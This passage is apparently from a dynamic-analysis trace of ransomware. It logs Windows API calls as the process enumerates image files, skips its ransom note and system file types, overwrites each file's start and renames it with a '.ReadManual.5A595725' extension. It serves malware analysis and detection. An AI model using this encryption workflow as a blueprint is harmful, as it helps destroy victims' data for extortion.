lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.313] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c08) returned 0x2f0000 [0273.313] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.313] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39398220764) returned 1 [0273.313] CloseHandle (hObject=0x184) returned 1 [0273.314] SetSecurityInfo () returned 0x57 [0273.314] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.314] CloseHandle (hObject=0x194) returned 1 [0273.314] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8bf3500, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8bf3500, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH01332U.BMP", cAlternateFileName="")) returned 1 [0273.314] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH01332U.BMP" | out: lpString1="PH01332U.BMP") returned="PH01332U.BMP" [0273.314] lstrcmpiW (lpString1="PH01332U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.314] StrStrIW (lpFirst="PH01332U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.314] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.314] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.314] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.314] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.314] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.314] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.314] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.314] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.314] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.314] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.314] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.314] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.314] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.314] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.314] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" [0273.314] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP.ReadManual.5A595725" [0273.314] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP.ReadManual.5A595725") returned 87 [0273.314] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39398310595) returned 1 [0273.314] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp")) returned 0x20 [0273.315] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.316] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32184) returned 1 [0273.316] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7db8, lpName=0x0) returned 0x184 [0273.316] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.316] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.316] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.318] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.318] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7db8) returned 0x2f0000 [0273.319] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.319] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39398770023) returned 1 [0273.319] CloseHandle (hObject=0x184) returned 1 [0273.319] SetSecurityInfo () returned 0x57 [0273.319] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.319] CloseHandle (hObject=0x194) returned 1 [0273.319] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa711900, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa711900, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH01478U.BMP", cAlternateFileName="")) returned 1 [0273.319] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH01478U.BMP" | out: lpString1="PH01478U.BMP") returned="PH01478U.BMP" [0273.319] lstrcmpiW (lpString1="PH01478U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.319] StrStrIW (lpFirst="PH01478U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.319] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.319] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.319] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.319] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.319] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.319] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.320] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.320] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.320] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.320] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.320] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.320] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.320] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.320] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.320] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" [0273.320] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP.ReadManual.5A595725" [0273.320] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP.ReadManual.5A595725") returned 87 [0273.320] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39398858826) returned 1 [0273.320] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp")) returned 0x20 [0273.320] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.320] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31968) returned 1 [0273.320] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0x184 [0273.320] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.321] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.321] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.323] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.323] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7ce0) returned 0x2f0000 [0273.323] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.323] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39399224138) returned 1 [0273.324] CloseHandle (hObject=0x184) returned 1 [0273.324] SetSecurityInfo () returned 0x57 [0273.324] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.324] CloseHandle (hObject=0x194) returned 1 [0273.324] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47b3800, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa47b3800, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH01562U.BMP", cAlternateFileName="")) returned 1 [0273.324] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH01562U.BMP" | out: lpString1="PH01562U.BMP") returned="PH01562U.BMP" [0273.324] lstrcmpiW (lpString1="PH01562U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.324] StrStrIW (lpFirst="PH01562U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.324] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.324] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.324] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.324] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.324] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.324] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.324] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.324] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.324] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.324] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.324] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.324] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.324] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.324] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.324] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" [0273.324] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP.ReadManual.5A595725" [0273.324] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP.ReadManual.5A595725") returned 87 [0273.324] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39399312817) returned 1 [0273.324] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp")) returned 0x20 [0273.325] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.325] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32184) returned 1 [0273.326] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7db8, lpName=0x0) returned 0x184 [0273.326] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.326] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.326] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.328] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.328] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7db8) returned 0x2f0000 [0273.328] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.329] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39399738017) returned 1 [0273.329] CloseHandle (hObject=0x184) returned 1 [0273.329] SetSecurityInfo () returned 0x57 [0273.329] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.329] CloseHandle (hObject=0x194) returned 1 [0273.329] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fb68400, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9fb68400, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH01607U.BMP", cAlternateFileName="")) returned 1 [0273.329] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH01607U.BMP" | out: lpString1="PH01607U.BMP") returned="PH01607U.BMP" [0273.329] lstrcmpiW (lpString1="PH01607U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.329] StrStrIW (lpFirst="PH01607U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.329] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.329] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.329] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.329] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.329] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.329] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.329] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.329] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.329] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.329] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.329] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.329] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.329] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.329] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.329] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" [0273.329] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP.ReadManual.5A595725" [0273.329] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP.ReadManual.5A595725") returned 87 [0273.329] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39399912130) returned 1 [0273.332] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp")) returned 0x20 [0273.332] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.332] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31968) returned 1 [0273.332] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0x184 [0273.332] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.333] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.333] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.335] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.335] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7ce0) returned 0x2f0000 [0273.336] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.336] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39400448011) returned 1 [0273.336] CloseHandle (hObject=0x184) returned 1 [0273.336] SetSecurityInfo () returned 0x57 [0273.336] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.336] CloseHandle (hObject=0x194) returned 1 [0273.336] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35a3dc00, ftCreationTime.dwHighDateTime=0x1bd4e60, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35a3dc00, ftLastWriteTime.dwHighDateTime=0x1bd4e60, nFileSizeHigh=0x0, nFileSizeLow=0x9abe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH01931J.JPG", cAlternateFileName="")) returned 1 [0273.336] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH01931J.JPG" | out: lpString1="PH01931J.JPG") returned="PH01931J.JPG" [0273.336] lstrcmpiW (lpString1="PH01931J.JPG", lpString2="RecoveryManual.html") returned -1 [0273.336] StrStrIW (lpFirst="PH01931J.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.336] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.336] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.336] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.336] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.336] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.336] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.336] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.336] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.336] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.336] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.336] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.336] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.336] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.336] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.337] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" [0273.337] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.ReadManual.5A595725" [0273.337] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.ReadManual.5A595725") returned 87 [0273.337] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39400539437) returned 1 [0273.337] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg")) returned 0x20 [0273.337] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.337] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=39614) returned 1 [0273.337] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9abe, lpName=0x0) returned 0x184 [0273.337] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.338] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.338] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.340] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.340] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9abe) returned 0x2f0000 [0273.341] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.342] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39401045834) returned 1 [0273.342] CloseHandle (hObject=0x184) returned 1 [0273.342] SetSecurityInfo () returned 0x57 [0273.342] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.342] CloseHandle (hObject=0x194) returned 1 [0273.342] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x451e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02028K.JPG", cAlternateFileName="")) returned 1 [0273.343] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02028K.JPG" | out: lpString1="PH02028K.JPG") returned="PH02028K.JPG" [0273.343] lstrcmpiW (lpString1="PH02028K.JPG", 